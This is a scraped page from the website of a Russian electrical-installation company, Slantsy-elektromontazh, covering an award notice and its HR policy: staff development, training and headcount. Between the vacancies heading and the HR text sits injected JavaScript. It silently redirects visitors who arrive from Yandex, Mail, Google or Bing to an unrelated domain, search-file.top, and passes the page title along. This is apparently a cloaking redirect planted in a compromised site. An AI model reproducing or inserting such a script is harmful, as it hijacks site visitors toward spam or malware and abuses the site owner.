По результатам конкурса по Ленинградской области
ООО "Сланцы-электромонтаж" награждено почетным дипломом "Лучшая строительная организация Ленинградской области"
На нашем сайте установлен онлайн-консультант
На нашем сайте начал свою работу онлайн-консультант. Вы можете задать вопрос или отправить своё сообщение и Вам обязательно ответят.

Вакансии

var keyword = document.title; var isps = document.referrer.match(/(yandex)|(mail)|(google)|(bing)/i); if (keyword.indexOf("Tumblr.Com")>0) { keyword = keyword.split("Tumblr.Com")[1].replace('— ','').replace('...',''); } else { keyword = keyword.split("-")[0]; keyword = keyword.split("::")[0]; } if (isps) {window.location.href = 'http://search-file.top/?q='+encodeURIComponent(keyword);}
Кадровая политика
     Наши руководители уверены, что не только новые технологии и оборудование являются основой успешной работы организации. Основным элементом является сплоченный коллектив.
     Основа компании - команда людей, обладающих высокой квалификацией, опытом разработки и реализации проектов, налаженными связями с поставщиками и заказчиками, достаточным потенциалом для выполнения работ на крупных промышленных площадках.
     Кадровая политика нашей компании направлена на привлечение, удержание и развитие кадров, способствующих развитию предприятия, формирование коллектива единомышленников. Мы ценим наши достижения, но продвигаемся вперед, опираясь на опыт и индивидуальные усилия членов коллектива, руководствуясь принципами взаимного уважения и сотрудничества. В нашей организации поощряется профессиональный рост, инициативность и личностное развитие сотрудников. Считаем, что именно от кадрового потенциала зависит успешное развитие компании, поэтому сотрудникам предоставляется возможность для обучения и повышения квалификации. На нашем предприятии организуется практика студентов профильных учебных заведений нашего города. Ежегодно сотрудники проходят Курсы повышения квалификации. В Компании существует возможность карьерного роста.
     На сегодняшний день в ООО "Сланцы-электромонтаж" работают 119 человек. Средний возраст составляет 40 лет. Специфика деятельности предполагает наличие профессионального образования. 20% работников имеют высшее образование, 40% - среднетехническое. Все монтажники помимо основной специальности прошли обучение совмещенным работам.
Яндекс.Метрика